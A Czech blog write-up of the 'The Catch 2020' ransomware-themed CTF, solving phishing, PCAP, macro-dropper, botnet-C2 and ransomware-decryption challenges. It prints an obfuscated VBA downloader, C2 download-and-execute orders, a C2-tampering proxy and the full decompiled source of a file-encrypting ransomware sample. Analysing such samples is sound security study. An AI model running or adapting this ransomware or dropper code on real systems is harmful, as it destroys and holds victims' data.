Portál AbcLinuxu, 26. dubna 2024 05:24

The Catch CTF 2020 writeup

30.10.2020 14:03 | Přečteno: 1871× | CTF | Výběrový blog | poslední úprava: 30.10.2020 16:58

Tématem letošního CTF The Catch kupodivu nebyl folding, ale ransomware.

Úlohy byly většinou v ZIPu a stejně jako loni bylo bezpečné je rozbalit (ve smyslu že flag se neskrýval například v metadatech toho ZIPu). Navíc u všech byl přiložen md5sum soubor a v tom se také neskrývalo žádné překvapení.

Malicious e-mails

Archiv obsahuje asi 30 emailů ve formátu eml. Ukázka:

Return-Path: <eve@ransomvid-20.thecatch.cz>
X-Original-To: rex@cypherfix.cz
Delivered-To: rex@cypherfix.cz
Received: from mail.cypherfix.cz (mail.cypherfix.cz [203.0.113.105])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by office.cypherfix.cz (Postfix) with ESMTPS id 2MDEOI1HLYA
        for <rex@cypherfix.cz>; Fri, 09 Oct 2020 08:04:12 +0000 (UTC)
Received: from [203.0.113.12] (unknown [203.0.113.12])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by freemail.thecatch.cz (Postfix) with ESMTPS id JOVRF20QZ97
        for <rex@cypherfix.cz>; Fri, 09 Oct 2020 08:04:05 +0000 (UTC)
Content-Type: multipart/mixed; boundary="===============1353357465=="
MIME-Version: 1.0
X-Mailer: Mozilla/6.0 (Windows NT 10.0; WOW64;
 rv:60.0) Gecko/20100101 Thunderbird/666.9.1
Date: Fri, 09 Oct 2020 08:04:05 +0000 (UTC)
To: rex@cypherfix.cz
From: eve@ransomvid-20.thecatch.cz
Subject: Ransom discount for you - up to 30 %

--===============1353357465==
Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: base64

RGVhciBjdXN0b21lciwKd2UgaGF2ZSBub3RpY2VkLCB0aGF0IHlvdSBzdGlsbCBoYXZlIG5vdCBw
YWlkIHlvdXIgcmFuc29tIG1vbmV5ISBXZSBoYXZlIHRpbWUgbGltaXRlZCBvZmZlciBmb3IgeW91
LCB2aXNpdCBvdXIgd2VicGFnZSBodHRwOi8vY2hhbGxlbmdlcy50aGVjYXRjaC5jejoyMDEwMC9s
cWl2MGN5aHd1eDdkemFrIGZvciBtb3JlIGRldGFpbHMuCgpFdmUKUkFOU09NVklELTIwIHNlbmlv
ciB1c2VyIHN1cHBvcnQKZXZlQHJhbnNvbXZpZC0yMC50aGVjYXRjaC5jeg==

--===============1353357465==
Content-Type: image/png
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=ransomvid20-support.png

iVBORw0KGgoAAAANSUhEUgAABJMAAAEOCAIAAACy0cHpAAAACXBIWXMAAC4jAAAuIwF4pT92AAAg
[pokračování obrázku]

Tady je spousta míst, kde by se flag mohl skrývat, například v časech a SMTP ID v hlavičkách. Nicméně tam to není. Můžeme extrahovat přílohy pomocí munpack * a následně pomocí fdupes -r . zjistíme, že jsou to dva binárně shodné obrázky, které se pořád opakují. Takže nemusíme zkoumat všechny. Jedná se o PNG bez alfa kanálu a ani to nevypadá, že by třeba bylo v černé barvě něco skrytého napsaného.

Podíváme se do těla mailů. Naprasíme skript, který z toho vybalí to base64:

#!/usr/bin/env python3

import sys
import base64

for f in sys.argv[1:]:
  f = open(f, "r")
  f = f.read()

  lines = f.split("\n")
  start = 0
  for i in range(len(lines)):
    if "text/plain" in lines[i]:
      start = i
    if "====" in lines[i] and start > 0:
      stop = i
      break
  b = "\n".join(lines[start+3:stop])

  d = base64.b64decode(b).decode("ascii", "ignore")
  print(d)

V mailech se neustále opakuje tento motiv

Hi,
wanna be rich? Just click here: http://challenges.thecatch.cz:20100/yqn02b3jeghr89zx and confirm all questions. The money waits for you!
Your Secret Friend
Dear customer,
we have noticed, that you still have not paid your ransom money! We have time limited offer for you, visit our webpage http://challenges.thecatch.cz:20100/6rj48yv5mapzx3tc for more details.

Eve
RANSOMVID-20 senior user support

mění se jen náhodné znaky v URL. Tak je zkusíme všechny stáhnout

./parse.py *.eml|grep -oE "http[^ ]+"|while read l; do echo $l; wget -q -O - $l; done

a zjistíme, že na všech z nich je The content has been removed., kromě jedné, kde je flag.

Spam everywhere

Tentokrát je v archivu PCAP soubor se záznamem mnoha SMTP transakcí. TCP spojení se dají zobrazovat ve Wiresharku kliknutím pravým a Follow TCP stream, ale pro takové množství je to samozřejmě nesmysl. Použijeme tcpflow -r spam_everywhere.pcap, což nám jednotlivá spojení opíše do souboru, vždycky jeden pro směr klient→server a druhý pro opačný. Teď bychom ty maily chtěli zase extrahovat, problém je, že soubory obsahují celou SMTP transakci, tj. začínají

ehlo [127.0.1.1]
mail FROM:<alice@cypherfix.cz> size=324499
rcpt TO:<halaur5@h2ophone.cz>
data

a až pak následuje samotný obsah mailu. Whatever, pustíme v tom adresáři prostě zase munpack * a ono to magicky dopadne. Pomocí fdupes zase zjistíme, že jsme vyextrahovali 20x ten samý obrázek, a když ho otevřeme, tak je v něm flag.

Easy Bee

V archivu je easy_botnet_client.exe, kterej nefunguje ani ve Wine, ani ve Windows XP. Po spuštění ve Windows 7 se někam připojí a v navázaném spojení, které stačí odposlechnout např. Wiresharkem, je plaintextově vidět flag.

Wiretaped message

V archivu je binární soubor, a úloha tentokrát obsahuje hint: Transmission usually contains message... and its length. Po otevření v Oktetě (protože obarvuje, jinak samozřejmě klidně použijte hexdump) vidíme vždycky 0x00 nebo 0x01 a pak následují tisknutelné znaky, které by mohly být base64.

00000000  00 54 51 58 42 77 5a 57  46 79 49 48 64 6c 59 57  |.TQXBwZWFyIHdlYW|
00000010  73 67 64 32 68 6c 62 69  42 35 62 33 55 67 59 58  |sgd2hlbiB5b3UgYX|
00000020  4a 6c 49 48 4e 30 63 6d  39 75 5a 79 77 67 59 57  |JlIHN0cm9uZywgYW|
00000030  35 6b 49 48 4e 30 63 6d  39 75 5a 79 42 33 61 47  |5kIHN0cm9uZyB3aG|
00000040  56 75 49 48 6c 76 64 53  42 68 63 6d 55 67 64 32  |VuIHlvdSBhcmUgd2|
00000050  56 68 61 79 34 3d 00 54  56 47 68 6c 49 48 4e 31  |Vhay4=.TVGhlIHN1|
00000060  63 48 4a 6c 62 57 55 67  59 58 4a 30 49 47 39 6d  |cHJlbWUgYXJ0IG9m|
00000070  49 48 64 68 63 69 42 70  63 79 42 30 62 79 42 7a  |IHdhciBpcyB0byBz|
00000080  64 57 4a 6b 64 57 55 67  64 47 68 6c 49 47 56 75  |dWJkdWUgdGhlIGVu|
00000090  5a 57 31 35 49 48 64 70  64 47 68 76 64 58 51 67  |ZW15IHdpdGhvdXQg|
000000a0  5a 6d 6c 6e 61 48 52 70  62 6d 63 75 01 64 53 57  |ZmlnaHRpbmcu.dSW|
000000b0  59 67 65 57 39 31 49 47  74 75 62 33 63 67 64 47  |YgeW91IGtub3cgdG|
000000c0  68 6c 49 47 56 75 5a 57  31 35 49 47 46 75 5a 43  |hlIGVuZW15IGFuZC|
000000d0  42 72 62 6d 39 33 49 48  6c 76 64 58 4a 7a 5a 57  |Brbm93IHlvdXJzZW|
000000e0  78 6d 4c 43 42 35 62 33  55 67 62 6d 56 6c 5a 43  |xmLCB5b3UgbmVlZC|
000000f0  42 75 62 33 51 67 5a 6d  56 68 63 69 42 30 61 47  |Bub3QgZmVhciB0aG|
00000100  55 67 63 6d 56 7a 64 57  78 30 49 47 39 6d 49 47  |UgcmVzdWx0IG9mIG|
00000110  45 67 61 48 56 75 5a 48  4a 6c 5a 43 42 69 59 58  |EgaHVuZHJlZCBiYX|
00000120  52 30 62 47 56 7a 4c 69  42 4a 5a 69 42 35 62 33  |R0bGVzLiBJZiB5b3|
00000130  55 67 61 32 35 76 64 79  42 35 62 33 56 79 63 32  |Uga25vdyB5b3Vyc2|
00000140  56 73 5a 69 42 69 64 58  51 67 62 6d 39 30 49 48  |VsZiBidXQgbm90IH|
00000150  52 6f 5a 53 42 6c 62 6d  56 74 65 53 77 67 5a 6d  |RoZSBlbmVteSwgZm|
00000160  39 79 49 47 56 32 5a 58  4a 35 49 48 5a 70 59 33  |9yIGV2ZXJ5IHZpY3|
00000170  52 76 63 6e 6b 67 5a 32  46 70 62 6d 56 6b 49 48  |RvcnkgZ2FpbmVkIH|
00000180  6c 76 64 53 42 33 61 57  78 73 49 47 46 73 63 32  |lvdSB3aWxsIGFsc2|
00000190  38 67 63 33 56 6d 5a 6d  56 79 49 47 45 67 5a 47  |8gc3VmZmVyIGEgZG|
000001a0  56 6d 5a 57 46 30 4c 69  42 4a 5a 69 42 35 62 33  |VmZWF0LiBJZiB5b3|
000001b0  55 67 61 32 35 76 64 79  42 75 5a 57 6c 30 61 47  |Uga25vdyBuZWl0aG|
000001c0  56 79 49 48 52 6f 5a 53  42 6c 62 6d 56 74 65 53  |VyIHRoZSBlbmVteS|
000001d0  42 75 62 33 49 67 65 57  39 31 63 6e 4e 6c 62 47  |Bub3IgeW91cnNlbG|
000001e0  59 73 49 48 6c 76 64 53  42 33 61 57 78 73 49 48  |YsIHlvdSB3aWxsIH|
000001f0  4e 31 59 32 4e 31 62 57  49 67 61 57 34 67 5a 58  |N1Y2N1bWIgaW4gZX|
00000200  5a 6c 63 6e 6b 67 59 6d  46 30 64 47 78 6c 4c 67  |ZlcnkgYmF0dGxlLg|
00000210  3d 3d 00 7c 54 47 56 30  49 48 6c 76 64 58 49 67  |==.|TGV0IHlvdXIg|
00000220  63 47 78 68 62 6e 4d 67  59 6d 55 67 5a 47 46 79  |cGxhbnMgYmUgZGFy|

Takhle ale nejde dekódovat (pokud zahrnete to "T" do toho base64 -- ukáže se, že to je jakoby náhodou součást délky, nikoli payload), tak tipneme, že délka by mohla být 2bajtová, řekněme že u16be, a přesně takto soubor dekódujeme.

#!/usr/bin/env python3
  
f = open("message", "rb")
f = f.read()

pos=0
while True:
  size=f[pos]*256+f[pos+1] # ano vím že existuje struct
  d = f[pos+2:pos+2+size]
  print(d.decode("ascii"))

  pos = pos + 2 + size
./parse.py | while read l; do echo $l|base64 -d; done|grep --color FLAG

Malware spreading

Tím jsme dokončili skupinu úloh The Training Ground. Opět dostaneme PCAP s mailama, tentokrát se jedná o záznam IMAP spojení, přes které se maily stahují. Výše uvedeným způsobem tcpflow extrahujeme spojení do souborů a upravíme náš adhoc parser aby to nějak přečetl a maily vyblil do samostatných souborů.

#!/usr/bin/env python3

import sys
import base64

f = open(sys.argv[1], "r")
f = f.read()

lines = f.split("\n")
start = 0
newl = 0
boundary = "sadfdsgfsdd"
for i in range(len(lines)):
  if boundary in lines[i]:
    b = "\n".join(lines[newl:i])
    print(newl, i)
    d = base64.b64decode(b)

    f = open(sys.argv[1] + ".line-%05i"%i, "wb")
    f.write(d)
    f.close()

    newl = 0
    boundary = "sadfdsgfsdd"

  if lines[i].startswith("--============="):
    boundary = lines[i]
    start = i
  if lines[i] == "" and newl == 0:
    newl = i

Získané soubory zase projedeme fdupes a munpack a dostaneme kýbl různých věcí - obrázků, textových souborů a zašifrované ZIPy. Zašifrované ZIPy zkusíme cracknout, bohužel jsou ve formátu, který není podporovaný v hashcatu, ale John je podporuje, ale bylo strašné peklo ho zkompilovat.

JohnTheRipper/run/zip2john 203.000.113.016.00143-010.010.010.010.48386.line-04757 > a.txt
7z e -so wordlists/Top2Billion-probable-v2.7z | JohnTheRipper/run/john --stdin a.txt

Heslo se ale nepodařilo uhádnout. Začneme si ty maily číst a zjistíme, že se jedná o korespondenci Alice s administrátorem nějaké loterie, který tvrdí, že zná dopředu výsledky, a výsledky jsou právě v tom zašifrovaném ZIPu. Dále se dozvíme, že heslo poslal Alici na mobil.

Dear Alice,
I know it - you are the right person to cooperate. The numbers you are looking for, are in attachment. The password was send on your cell. Enjoy your (our) prize!

V pcapu ale není žádná komunikace zjevně se týkající mobilu (třeba GSMTAP nebo tak), v mailech se vyskytuje doména h2ophone.cz, ze které chodí jakoby telefonní vyúčtování, a tak… Po docela dlouhé chvíli zoufalství najdeme jeden osamocený mail s předmětem Rich and stupid :), který má jako jediný Content-Transfer-Encoding: base64 takže to nešlo grepnout a v něm je napsáno Oh my, you will need the secret 'HappyWinner-paSSw00rd42'. See ya! A.. Zip uvedeným heslem rozšifrujeme a dostaneme soubor nation_lottery_numbers.ods, což je ODS obsahující makra. Protože .ods je taky zip, který obsahuje různá XML s obsahem dokumentu/tabulky, tak ho znova rozzipujeme a v souboru Basic/Standard/Module1.xml čteme flag.

Tohle byla nejvíc frustrující úloha a jeden kamarád to na ní vzdal. Na druhou stranu si za to asi můžu sám, protože kdybych ty maily korektně vyparsoval a naimportoval do mailového klienta, tak bych si je pravděpodobně mnohem pohodlněji prošel a mail s heslem bych viděl hned.

Attachment analysis

V archivu je dokument .ods s makry (jiný než v předchozí úloze) a úloha má hint E-mail attachments are usually just droppers. který nepomohl, ale nebylo potřeba, protože je dost jasné co se s tím musí udělat. Dokument zase rozzipujeme a ze souboru Basic/Standard/Module1.xml vykopírujeme obfuskovaný kód, celý zde (původně jsem ho chtěl dát do přílohy sem, ale zjevně neumím zmanipulovat ID při přidávání komentáře, aby se přidal k zatím nevydanému blogu -- jestli to vůbec jde; šlo to u nevydaných článků). Ukázka:

Private Declare Function OOOOO0OO0 Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Sub Main
O0O00O000 = GetGUIType
Dim O0O0000OO as Object, O0O00OOOO As Object, OOOOOOOO0 as Object
Dim O0OOO000O As Long
OO0OOOO00 = Array(chr(246+10+153-254-121)+chr(721-455-156-434+4-304+169+559)+chr(-1533+247+570+548+577-293)+chr(-825+613-244+14+452+249+320+185-648)+chr(1297-192-440-553)+chr(-406+372-316+120+327-152-118+231)+chr(29-327+32-128+166+275)+chr(265+115-286+82+43-196+24)+chr(-401+331+370-148+336-389)+chr(-685+393+396)+chr(-64+461-381-159+240)+chr(1208-342-563+60-255)+chr(357-83-166)+chr(985-378-506)+chr(355-56+70-259)+chr(471-286-291-317+504+136-400-77+363)+chr(407-109+69-382-172+514+83-309)+chr(208-428+454-54+544+12-285-471+134)+chr(-406-192+256+176+212)+chr(-101+339+470-592)+chr(-39-388+531)+chr(875-250-524)+chr(1387-233-168-349-89+27-476)+chr(258-404+484-241)+chr(849-234+94-593)+chr(117-203+194-454+445)+chr(18+122+13+3-581+76+453)+chr(-179+319-220+264-85-53)+chr(965-509-357)+chr(829-166-2+559-602-45-153-298)+chr(433-104-271)+chr(-159+333-124)+chr(319-244-223-227+220+203)+chr(-136+335-23+124+114-140-283+58)+chr(-228+335-59)+chr(-87-39-52-318+209+266-24+94-0)+chr(149-189+74)
[...]
while True
wait(1972-3442+291+2709-530)
OOOOO0OOO = int(Rnd()*10000)
OO00OO0O0 = OO0OOOO00(-17-76-54+64+96-13)
OO0O0O000 = -188+63+135
OO0O0O000 = OO0O0O000 + -398-49-211+394+324
if -26-49-22-72+32-42+38+72+69 <= OOOOO0OOO and OOOOO0OOO < 1101-1211-3880+3588-1025+2982-826+1631-1360 then

Kód obsahuje funkci Rnd, na jejímž výsledku nejspíš něco závisí. Odhaduji, že to je vymyšlené tak, že to proběhne třeba jenom jednou za miliardu pokusů, a bude tak potřeba kód pochopit a provést ručně. Rozhodl jsem se stejně jako předloni, že to ztransformuji do Pythonu. Budu to dělat postupným aplikováním hromady regexpů, protože tak se přece problémy řeší. Začneme boilerplate, nahrazením bordelu co tam vznikl při kopírování z toho XML a spočítáním všech těch chr(aritmetický_výraz_tu) na jedno číslo.

#!/usr/bin/env python3

import sys
f = open("input", "r").read()

f = f.replace("&amp;", "&")
f = f.replace("&lt;", "<")
f = f.replace("&gt;", ">")
f = f.replace("&quot;", "\"")

import re

def fwrite(name, s):
  f = open(name, "w")
  f.write(s)
  f.close()

while True:
  m = re.search("-?\d+([+-]\d+)+", f)
  if m:
    s = m.group(0)
    res = eval(s)
    sres = "%i"%res
    pos = m.start()
    f = f[:pos] + sres + f[pos+len(s):]
  else:
    break

fwrite("eval", f)

Prohlédneme si výsledek a usoudíme, že všechna ta chr jsou ASCII znaky, tak je nahradíme za odpovídající ASCII znaky.

while True:
  m = re.search("chr\((\d+)\)\+?", f)
  if m:
    s = m.group(0)
    if s.endswith("+"):
      n = s.split("(")[1][:-2]
    else:
      n = s.split("(")[1][:-1]
    n = int(n)
    if(n < 32 or n > 126):
      print("FAIL %i"%n)
      sys.exit(1)
    sres = chr(n)
    pos = m.start()
    f = f[:pos] + sres + f[pos+len(s):]
  else:
    break

fwrite("chr", f)

Výsledek už je docela čitelný, jenom názvy proměnných a funkcí tvoří různé kombinace 0 a O. U každého zkusíme tipnout, co asi tak může dělat, a nahradíme to za tento lidský název.

f = f.replace("OOOOO0OO0", "wget")
f = f.replace("O0O00O000", "environ")
f = f.replace("O0O0000OO", "unknown1")
f = f.replace("O0O00OOOO", "window1")
f = f.replace("OOOOOOOO0", "window2")
f = f.replace("O0OOO000O", "i")
f = f.replace("OO0OOOO00", "data1")
f = f.replace("OOO000OOO", "data2")
f = f.replace("OOOOO0OOO", "random")
f = f.replace("OO00OO0O0", "choose_backend")

f = f.replace("O0O0OO0OO", "str_win10powerupdate.exe")
f = f.replace("OO0O0O000", "int_70")
f = f.replace("O00O0OO0O", "str_http://www.challenges.thecatch.cz:20912")

f = f.replace("O0OO0O00O", "int_0")
f = f.replace("O0O00O0OO", "int_40")
f = f.replace("OO0OOO0O0", "int_4_1")
f = f.replace("OOO00OO0O", "int_4_2")

f = f.replace("OO00OO0OO", "j")

f = f.replace("OO0O0O00O", "exec")

f = f.replace("OOO00OOO0", "str_JJJJ")

fwrite("var.sh", f)

Vzniklý kód je již poměrně čitelný (uložil jsem ho do souboru .sh protože shellový highlight se na to hodil asi nejvíc), skládá nějakou URL, kterou potom stáhne, a nejzajímavější je tato smyčka

int_70 = 70
[...]
For i = int_0 To int_40 Step int_4_1
  int_4_2 = 4
  str_JJJJ = str_JJJJ + chr(int(Rnd() * (0)) + int_70)
  int_70 = int_70 + 3
  Next i
str_JJJJ = left(str_JJJJ, 7)

kterou přepíšeme do Pythonu nebo ručně odkrokujeme, a zjistíme, že generuje řetězec FILORUX, a z okolního kódu vidíme, že chceme stáhnout soubor http://challenges.thecatch.cz:20101/FILORUX_update_OB127q45D.msi a v něm je flag.

Downloaded file

Úloha obsahuje hint Run the correct file in correct way.. Opět jde o pcap. Extrahujeme spojení tcpflow a dále se podíváme, že jde o záznam stahování několika souborů přes HTTP. Zaujme nás soubor nuclear_client.bin. Extrahujeme ho (normálně otevřeme to spojení ve Vimu, smažeme HTTP hlavičky a uložíme :-D) a dosteneme ELF 64-bit LSB executable. Spustíme ho (už jsem říkal že si chcete pořídit jednorázový virtuál? :) a… nic se nestane a při killování to vypíše

^CTraceback (most recent call last):
  File "fake_client.py", line 35, in <module>
  File "fake_client.py", line 29, in main
KeyboardInterrupt
[488] Failed to execute script fake_client

Ano, je to zabalenej Python. Následně jsem strávil hodinu neúspěšnými pokusy o dekompilaci/extrakci kódu pomocí všech možných extraktorů, binwalku a tak, neúspěšně. Long story short, ten soubor, který potřebujeme, je linux_core_update.bin. Po spuštění vypíše help

./b.elf 
usage: b.elf [-h] -ip IPADDRESS -p PORT
b.elf: error: the following arguments are required: -ip/--ipaddress, -p/--port

a na náhodně zadanou adresu a port vypíše jen invalid parameters a ukončí se. Všimneme si ale, že v tom pcapu je bezprostředně po stažení tohoto souboru neobvyklé spojení na adresu 78.128.216.92 a port 20210, kde klient říká ready for work, server pošle 1(5) a ukončí se. Dáme tedy binárce právě tyto parametry a dostaneme flag. Mimochodem asi se to nikam nepřipojuje a jenom to vypíše flag co to má uvnitř. A sežere to i adresu klidně ve tvaru 0000078.128.216.92, s čímž jsem si pak strašně naběhl u následující úlohy.

The Connection

Úloha má hint Indicators of compromise (IoC) are very valuable for any investigation.. Tentokrát dostaneme program botnet_client rovnou, není potřeba ho z ničeho extrahovat. Vyžaduje parametry IP a port stejně jako ten předchozí, tak mu je dáme. Velmi důležité je, když to kopírujete z tcpflow, všimnout si, že tcpflow IP adresy padduje nulou 78.128.216.092, a protože tady se na rozdíl od předchozí úlohy opravdu bude vyrábět soket, tak když tam tu nulu necháte, tak to podivně zfailí (pokouší se to tu adresu resolvnout jako jméno) a pak jako fakt dlouho trvá na to přijít.

Program začne vypisovat Received unknown order, každé další vypsání trvá déle než to předchozí, a brzy nás to přestane bavit. Je pravděpodobné, že bude potřeba zjistit, co program dělá, a napsat to rychleji. Taková úloha už byla v jednom PoDrátě (expirovala jim doména a ve web archivu se mi nechce hledat konkrétní odkaz). Na druhou stranu tady program nevytěžuje procesor, takže možná čeká na něco jiného.


Vložka

Mimochodem při trasování těchto programů jsem měl problém, že jsem neviděl některé činnosti, které to na systému zjevně provádělo. Až teď při psaní writeupu mi došlo, že jsem OMFG nespouštěl strace s parametrem -f a ono se to forklo a já pak samozřejmě neviděl co provádí děti toho procesu OMG OMG OMG. Vybaveni touto znalostí snadno zjistíme, že to visí na volání select prázdného seznamu se stále se zvyšující hodnotou čekání.

[pid  5981] select(0, NULL, NULL, NULL, {tv_sec=10, tv_usec=648001}) = 0 (Timeout)

Naprosto přímočaré řešení zahrnující boží vnuknutí tedy je:

Nyní pokračujme v mém originálním řešení když neumíte používat strace a/nebo nemáte boží vnuknutí.


Máme tedy program, který nějak komunikuje, a trvá to dýl a dýl. Začal jsem tím, že jsem si napsal proxy, která komunikaci odchytává, přeposílá na původní server, a samozřejmě umožňuje měnit. Není potřeba dělat MITM na to spojení, program v pohodě akceptuje v parametru -ip adresu mého stroje. Rejpáním v komunikaci postupně objevíme formát zpráv, které si posílají:

#!/usr/bin/env python3

import sys,socket
import struct
import base64
import binascii
import time

cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cs.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
cs.bind(("0.0.0.0", 20210))
cs.listen(1)

def mysend(c, b, comment=None):
  c.send(b"\x00\x00\x00\x00\x00\x00\x00")
  c.send(struct.pack("<B", len(b)))
  c.send(bytes(b))

def consume(c, direction=">"):
  data = c.recv(8)
  plen = data[-1]
  data = c.recv(plen)
  #print("%s data: %s"%(direction, data))
  return data

while True:
  conn, addr = cs.accept()
  print("ACCEPT: ", addr)
  cd = consume(conn)
  ctok = cd.decode("ascii", "ignore")

  while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("78.128.216.92", 20210))
    mysend(s, cd)
    d = consume(s)
    bd = base64.b64decode(d).decode("ascii", "ignore")
    #print("orig: ", bd)
    #mysend(conn, d)

    stok = bd[-16:][::-1]
    sreply = bd[:-16][::-1]

    #print(ctok, stok, sreply)

    bsreply = binascii.unhexlify(sreply)

    print(bsreply) # edit here
    bsreply = b"wait;;13504"

    preply = binascii.hexlify(bsreply)
    preply = preply[::-1].decode("ascii")
    preply = preply + stok[::-1]

    bd = base64.b64encode(preply.encode("ascii"))
    #print("patched: ", bd)

    time.sleep(0.1)

  patched = bd
  mysend(conn, patched)
$ ./q.py
ACCEPT:  ('192.168.148.155', 49878)
b'wait;;12699'
b'wait;;11613'
b'wait;;10563'
b'wait;;10038'
b'wait;;8944'
b'wait;;8339'
b'wait;;7302'
b'wait;;5858'
b'wait;;5087'
b'wait;;3886'
b'wait;;2641'
b'wait;;2025'
b'wait;;838'
b'download;;http://challenges.thecatch.cz:20102/ransomvid1984.bin;;/tmp/apt-update'
b'download;;http://challenges.thecatch.cz:20102/key1984.RV20;;/tmp/key'
b'execute;;/tmp/apt-update -k /tmp/key -p /home/'
b'execute;;/tmp/apt-update -k /tmp/key -p /var/'

Na uvedené URL je flag.

S touhle úlohou měla spousta lidí problém, což mě překvapuje, protože šlo v podstatě o uhádnutí formátu zprávy (base64 je jasné, a pak že je to hexdump pozpátku) a po zjištění, že tam je počítadlo, které s každou další zprávou klesá, o jednoduchý replay.

Ransomware

V archivu je image NTFS partition a soubor ransomvid_20.exe. Na NTFS partition je několik adresářů a souborů, zjevně zašifrovaných ransomwarem. Partition neobsahuje nic navíc, ve smyslu že když na to pustím photorec, tak to nenajde smazané ty originální soubory. Všimneme si, že ke dvěma z těch souborů se dá vygooglit plaintext. Zašifrované soubory jsou přesně o 268 bajtů větší než plaintext a docela se v tom dá pohledem tipnout hlavička. V tomto okamžiku mi přišlo dost jasné co se musí udělat: „šifrování“ bude vyxorování s nějakým stále stejným keystreamem, a protože máme dva plaintextové soubory, tak to stačí všechno dohromady vyxorovat a dostaneme keystream, kterým dešifrujeme všechno ostatní. Haha, nope.

Tak nějak zjistíme, že ten exe soubor vznikl pomocí PyInstalleru, a že jde rozbalit pomocí /usr/local/bin/pyi-archive_viewer ransomvid_20.exe. Teď si v menu můžeme vybrat, který soubor chceme extrahovat, a ransomvid_20 je dost jasný favorit. Vypadne nám soubor, který bychom měli narvat uncompyle6, ale to to nesežere.

ImportError: Unknown magic number 227 in abc.pyc

Někde jsem našel, že je potřeba na začátek souboru doplnit hlavičku - magic

42 0d 0d 0a 00 00 00 00  e4 b9 18 5d 00 00 00 00

Už to nalezení nedokážu zreprodukovat, nejblíž tomu je asi tato stránka. No tak to jako uděláme (cat header ransomvid.pyc > ransomvid_h.pyc) a vypadne nám krásný zdroják včetně komentářů a všeho. (mimochodem tohle jde provádět jenom v Pythonu 3.7, asi protože byl ten soubor v Pythonu 3.7 vytvořen, s novějším to nejde. Já mám v tom virtuálu Debian stable, kde je Python 3.7.)

# uncompyle6 version 3.7.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.3 (default, Jul 25 2020, 13:03:44) 
# [GCC 8.3.0]
# Embedded file name: ransomvid_20.py
# Compiled at: 2019-06-30 15:32:20
"""
CTF - Ransomvid-20
"""
__author__ = 'Aleš Padrta @ CESNET.CZ'
__version__ = '1.0'
import argparse, random
from os import walk
import pyaes, rsa

def get_args():
    """
        Cmd line argument parsing (preprocessing)
        """
    parser = argparse.ArgumentParser(description='Ransomvid-20 (!!!I can really hurt, if you run me!!!)')
    parser.add_argument('-p',
      '--path',
      type=str,
      help='Path to encrypt',
      required=True)
    parser.add_argument('-k',
      '--keyfile',
      type=str,
      help='The RSA public key',
      required=True)
    args = parser.parse_args()
    return (
     args.path, args.keyfile)


def get_filenames(path):
    """
        Get list of files to encrypt in given path
        """
    filenames = []
    for root, directories, files in walk(path):
        for name in files:
            if name.split('.')[(-1)] not in ('mpeg', 'avi', 'mp4', 'dd'):
                filenames.append('{}/{}'.format(root, name).replace('\\', '/'))

    filenames.sort()
    return filenames


def init_random(myseed):
    """
        Initialize randomization by defining seed
        """
    random.seed(myseed)


def get_random_aes_key(length):
    """
        Generate random AES key
        """
    key = bytearray((random.getrandbits(8) for _ in range(length)))
    return key


def aes_encrypt(data, aeskey):
    """
        Encrypt/decrypt data by provided AES key
        """
    aes = pyaes.AESModeOfOperationCTR(aeskey)
    encdata = aes.encrypt(data)
    return encdata


def read_rsakey(filename):
    """
        Read RSA encryption key from file
        """
    with open(filename, mode='rb') as (public_file):
        key_data = public_file.read()
    public_key = rsa.PublicKey.load_pkcs1_openssl_pem(key_data)
    return public_key


def rsa_encrypt(data, key):
    """
        Encrypt data by provided RSA key (public part)
        """
    encdata = rsa.encrypt(data, key)
    return encdata


def read_file(filename):
    """
        Read content of file to variable
        """
    with open(filename, 'rb') as (fileh):
        data = fileh.read()
    return data


def write_file(filename, key, data, orig_len):
    """
        Write header + encrypted content to file
        """
    with open(filename, 'wb') as (fileh):
        fileh.write(b'RV20')
        fileh.write(key)
        fileh.write(orig_len.to_bytes(8, byteorder='big'))
        fileh.write(data)


def main():
    """
        Main ransom function
        """
    path, rsakeyfile = get_args()
    filenames = get_filenames(path)
    print('Found {} files'.format(len(filenames)))
    if filenames:
        for filename in filenames:
            print('  {}'.format(filename))

    rsakey = read_rsakey(rsakeyfile)
    init_random(2020)
    for filename in filenames:
        aeskey = get_random_aes_key(32)
        data = read_file(filename)
        enc_data = aes_encrypt(data, aeskey)
        enc_aeskey = rsa_encrypt(aeskey, rsakey)
        write_file('{}'.format(filename), enc_aeskey, enc_data, len(data))


main()
# okay decompiling abc_h.pyc

Všimneme si, že na začátku se inicializuje náhodný generátor napevno zadanou násadou [seed], a pak to pro každý další soubor vygeneruje nový symetrický klíč (z tohoto důvodu deterministicky) a tím ho to zašifruje. Kód stačí upravit, aby místo aes.encrypt dělal aes.decrypt a zahodil prvních 268 bajtů načteného souboru a mělo by to fungovat. Mělo - já si nějak nepřečetl že to sortuje ty soubory, takže jsem to dělal dost metodou pokus omyl (nevěděl jsem, který klíč ke kterému souboru), a tato implementace AES je příšerně pomalá. Pokud jdete přiřazování klíčů bruteforcovat, doporučuji buď použít místo pyaes nějaké openssl (ale nastavit openssl vypadalo netriviálně) nebo si cachovat vygenerovaný keystream a soubory s ním pak jenom xorovat (jo, vidíte, je to AES-CTR). Že jste soubor dešifrovali dobře poznáte tak, že na to pustíte file a ono to něco najde :).

Mimochodem když jsme u toho -- i tuto úlohu by pravděpodobně šlo udělat, aniž by člověk dekompiloval tu binárku (byť u tohoto Pythonu to bylo triviální) - tím, že je to AES-CTR, by nejspíš stačilo nechat si tím zašifrovat nějaké svoje známé soubory, a pak vhodně xorovat.

